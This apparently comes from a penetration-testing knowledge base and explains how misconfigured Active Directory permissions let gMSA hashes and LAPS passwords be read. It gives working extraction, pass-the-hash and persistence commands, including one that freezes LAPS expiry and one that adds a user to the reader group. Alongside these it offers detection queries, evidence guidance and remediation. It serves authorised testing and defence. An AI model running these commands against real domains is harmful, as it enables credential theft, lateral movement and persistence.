gMSA & LAPS Exploitation
Group Managed Service Accounts (gMSA) and Local Administrator Password Solution (LAPS) are designed to improve password security, but misconfigured permissions allow attackers to read these passwords directly from Active Directory. This guide covers enumeration and exploitation of both LAPS v1, LAPS v2 (Windows LAPS), and gMSA secrets.
Danger
msDS-ManagedPassword, ms-Mcs-AdmPwd or msLAPS-Password is
credential access, and each read is logged as object access on the domain controller. The written scope
has to authorise reading stored secrets, not merely accessing the host you are reading them from, and it
has to name the hosts or OUs whose passwords you may recover. Do not modify LAPS expiry or reader groups
unless persistence or a control test is separately authorised.
Quick Navigation
Why This Matters
- Cleartext Passwords: LAPS v1 stores local admin passwords in a cleartext AD attribute — anyone with read access gets the password instantly.
- Service Account Takeover: gMSA passwords are 240+ random bytes, but the NTLM hash can be computed from the blob — enabling pass-the-hash for high-privilege service accounts.
- Common Misconfiguration: Help desk groups or overly broad OU delegations frequently grant unintended LAPS/gMSA read access.
- Lateral Movement Enabler: LAPS passwords grant local admin on individual machines; gMSA accounts often have elevated domain privileges.
gMSA Overview
Group Managed Service Accounts are AD objects with automatically rotated 240-byte passwords. The password
is stored in the msDS-ManagedPassword attribute and can only be read by principals in the
msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) group. If you compromise
a principal with read access, you can extract the gMSA password hash.
gMSA Enumeration
# PowerView — find all gMSAs and who can read their passwords
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword,
ServicePrincipalNames | Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword,
ServicePrincipalNames
# LDAP filter for gMSAs
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(objectClass=msDS-GroupManagedServiceAccount)" dn msDS-GroupMSAMembership
# BloodHound Cypher — find paths to gMSA password readers
MATCH (g:User) WHERE g.gmsa = true
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g))
RETURN p
# NetExec — check for gMSA
nxc ldap dc01.corp.local -u user -p 'Pass123' --gmsagMSA Password Extraction
From Linux (gMSADumper)
# gMSADumper — extract gMSA NTLM hash
python3 gMSADumper.py -u 'allowed-user' -p 'Password1' -d corp.local
# Output: svc-sql:::aabbccdd11223344::: (NTLM hash)
# Use the hash for pass-the-hash
nxc smb targets.txt -u 'svc-sql$' -H 'aabbccdd11223344'
# Impacket ntlmrelayx with --dump-gmsa flag
ntlmrelayx.py -t ldaps://dc01.corp.local --dump-gmsaFrom Windows (GMSAPasswordReader / DSInternals)
# GMSAPasswordReader (C#)
GMSAPasswordReader.exe --accountname svc-sql
# DSInternals PowerShell module
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity svc-sql -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash = ConvertTo-NTHash $mp.SecureCurrentPassword
Write-Output "NTLM Hash: $hash"
# Use the hash with Rubeus
Rubeus.exe asktgt /user:svc-sql$ /rc4:$hash /nowrapInformation
LAPS v1 (Legacy MS-LAPS)
Legacy LAPS stores the local admin password in the ms-Mcs-AdmPwd attribute as cleartext.
The expiration timestamp is in ms-Mcs-AdmPwdExpirationTime. Anyone with read access to these
attributes on computer objects can retrieve passwords.
Enumeration — Who Can Read LAPS?
# PowerView — find which principals can read LAPS password attribute
Get-DomainObjectAcl -SearchBase "OU=Workstations,DC=corp,DC=local" \
-ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' }
# Find computers with LAPS enabled
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' -Properties name, ms-Mcs-AdmPwd,
ms-Mcs-AdmPwdExpirationTime | Select-Object name, ms-Mcs-AdmPwd
# LAPSToolkit
Import-Module LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputersReading LAPS Passwords
# PowerShell (if you have read rights)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'
# NetExec — dump LAPS passwords
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps
# From Linux with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
# Impacket
python3 laps.py -u 'user' -p 'Pass123' -d corp.local
# Use the password
nxc smb target-ws01.corp.local -u Administrator -p 'LAPS-Password-Here' --local-authWindows LAPS (v2) — April 2023+
Windows LAPS (the replacement for legacy LAPS) stores passwords in msLAPS-Password
and supports encryption via msLAPS-EncryptedPassword using the domain's DPAPI-NG.
It also supports DSRM password management and password history.
Windows LAPS Enumeration & Reading
# Check which LAPS version is deployed
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword,
ms-Mcs-AdmPwd | Select-Object Name,
@{N='LAPSv2';E={$_.'msLAPS-Password' -ne $null}},
@{N='LAPSv2-Encrypted';E={$_.'msLAPS-EncryptedPassword' -ne $null}},
@{N='LAPSv1';E={$_.'ms-Mcs-AdmPwd' -ne $null}}
# Windows LAPS — read cleartext (if not encrypted)
Get-LapsADPassword -Identity WS01 -AsPlainText
# NetExec with Windows LAPS support
nxc ldap dc01.corp.local -u user -p 'Pass123' --laps
# Encrypted LAPS passwords require the DPAPI-NG decryption key
# which is protected by the LAPS authorized readers group
# If you have DA, you can decrypt with:
Get-LapsADPassword -Identity WS01 -AsPlainText -IncludeHistoryWarning
Post-Exploitation & Persistence
# LAPS password backdoor — set expiration far in the future
# This prevents LAPS from rotating the password
Set-DomainObject -Identity 'WS01$' -Set @{
'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'
}
# Windows LAPS — update expiration
Set-LapsADPasswordExpirationTime -Identity WS01 -WhenExpired (Get-Date).AddYears(10)
# Or: add your user to the LAPS readers group for ongoing access
Add-ADGroupMember -Identity "LAPS Admins" -Members "compromised-user"Danger
Detection & Blue Team
| Event ID | Source | Indicator |
|---|---|---|
| 4662 | Security | Object access — filter on ms-Mcs-AdmPwd attribute GUID for LAPS reads |
| 5136 | Security | Object modification — watch for msDS-ManagedPassword access or LAPS expiration changes |
| 4624 | Security | Successful logon — correlate local admin logons with LAPS password reads |
KQL Detection — LAPS Password Access
// Detect LAPS password attribute reads
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd" // LAPS v1 GUID
| project TimeGenerated, SubjectUserName, ObjectName, OperationType
// Detect unusual LAPS readers (users not in authorized groups)
let authorized_readers = dynamic(["LAPS-Admins", "Domain Admins"]);
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| where SubjectUserName !in (authorized_readers)
| project TimeGenerated, SubjectUserName, ObjectNameEvidence Collection
The read:
The identity you read the attribute as, and the attribute value with its timestamp — ms-Mcs-AdmPwd, msLAPS-Password or the gMSA blob.
The permission: Why that identity could read it: the group membership, the OU delegation, the ACE. Without this the finding is "I had access", not "this access was unintended".
Proof of use: One successful logon with the retrieved password or hash — the local admin on that host, or the service account against its SPN.
Scope of exposure:
How many hosts the readable attribute covers. One LAPS password is a host; a readable ms-Mcs-AdmPwd on an OU is the estate.
CVSS range: LAPS password read on one host: 6.5–7.5 · OU-wide LAPS read: 8.1 · gMSA hash for a privileged service account: 8.8.
False Positive Identification
- Helpdesk with LAPS read rights: That is the product working as deployed. It is a finding when the group is broader than the documented support model, or includes accounts that do not need it.
-
A gMSA reader that is not a host:
PrincipalsAllowedToRetrieveManagedPasswordoften lists a group that contains no machines. A wrong entry is hygiene until an account you control is inside it. - An expired LAPS password: A password past its rotation timestamp may already be invalid. Try the logon before reporting the read as usable access.
-
Encrypted Windows LAPS you cannot decrypt:
msLAPS-EncryptedPasswordis not readable with the attribute alone. Without the authorized decryptor group, say so rather than implying a cleartext recovery. - A gMSA hash that authenticates nowhere: A gMSA can only log on where it is installed. Test the SPN it actually serves before writing it up as lateral movement.
- LAPS enabled but empty: A host with the LAPS client but no password set returns nothing. That is a deployment gap, not credential exposure.
Testing Checklist
Enumerate the readers
- ☐ Who can read
ms-Mcs-AdmPwd/msLAPS-Password, per OU - ☐ Who is in
PrincipalsAllowedToRetrieveManagedPasswordfor each gMSA - ☐ Which LAPS version each host runs, and whether v2 encryption is on
- ☐ Whether your own foothold account is already a reader
Read, then prove
- ☐ Read one password or hash and record the exact attribute and time
- ☐ Authenticate with it once, against the host or SPN it belongs to
- ☐ Do not modify expiry or group membership unless persistence is authorised
- ☐ If you did modify them, restore the original values and confirm rotation still works
Remediation & Hardening
Protect the attributes
- • Upgrade to Windows LAPS with DPAPI-NG encryption — cleartext
ms-Mcs-AdmPwdis readable by anyone with the ACE - • Restrict gMSA readers to the hosts that run the service, and re-audit
PrincipalsAllowedToRetrieveManagedPasswordafter every rebuild - • Use OU-level ACLs so LAPS read access is scoped to specific admin groups per OU
- • Enable SACL auditing on
ms-Mcs-AdmPwd,msLAPS-PasswordandmsDS-ManagedPassword
Detect the read
- • Alert on 4662 for the LAPS and gMSA attribute GUIDs from identities outside the authorised reader groups
- • Correlate a LAPS read with a local-admin logon to that host within the same window
- • Alert on 5136 changes to LAPS expiry or reader groups — the persistence path, not the read